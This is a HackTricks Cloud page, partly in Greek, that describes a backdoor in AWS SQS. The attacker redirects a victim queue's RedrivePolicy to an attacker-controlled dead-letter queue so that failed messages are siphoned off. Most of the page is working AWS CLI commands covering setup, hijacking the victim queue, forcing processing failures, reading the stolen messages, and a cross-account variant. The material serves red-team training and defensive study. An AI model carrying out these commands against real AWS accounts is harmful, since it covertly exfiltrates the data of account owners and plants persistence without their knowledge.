AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Κακοποίηση των SQS Dead-Letter Queues (DLQs) για να απορροφηθούν διακριτικά δεδομένα από μια ουρά πηγής του θύματος δείχνοντας το RedrivePolicy της σε μια ουρά που ελέγχεται από attacker. Με χαμηλό maxReceiveCount και με πρόκληση ή αναμονή κανονικών αποτυχιών επεξεργασίας, τα μηνύματα κατευθύνονται αυτόματα στην attacker DLQ χωρίς να αλλάξουν οι producers ή οι Lambda event source mappings.
Κακοχρησιμοποιούμενα Δικαιώματα
- sqs:SetQueueAttributes στην ουρά πηγής του θύματος (για να ορίσει το RedrivePolicy)
- sqs:SetQueueAttributes στην attacker DLQ (για να ορίσει το RedriveAllowPolicy)
- Προαιρετικό για επιτάχυνση: sqs:ReceiveMessage στην ουρά πηγής
- Προαιρετικό για ρύθμιση: sqs:CreateQueue, sqs:SendMessage
Ροή ίδιου λογαριασμού (allowAll)
Προετοιμασία (attacker account or compromised principal):
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
Εκτέλεση (τρέξτε ως compromised principal σε victim account):
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
Επιτάχυνση (προαιρετική):
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
Επικύρωση:
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
Παράδειγμα αποδεικτικών στοιχείων (Οι ιδιότητες περιλαμβάνουν το DeadLetterQueueSourceArn):
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}
Cross-Account Variant (byQueue)
Ορίστε το RedriveAllowPolicy στο attacker DLQ ώστε να επιτρέπονται μόνο συγκεκριμένα victim source queue ARNs:
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
Επιπτώσεις
- Κρυφή, ανθεκτική data exfiltration/persistence μέσω αυτόματης παρέκκλισης των αποτυχημένων μηνυμάτων από την SQS source queue του θύματος σε attacker-controlled DLQ, με ελάχιστο λειτουργικό θόρυβο και χωρίς αλλαγές στους producers ή στις Lambda mappings.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

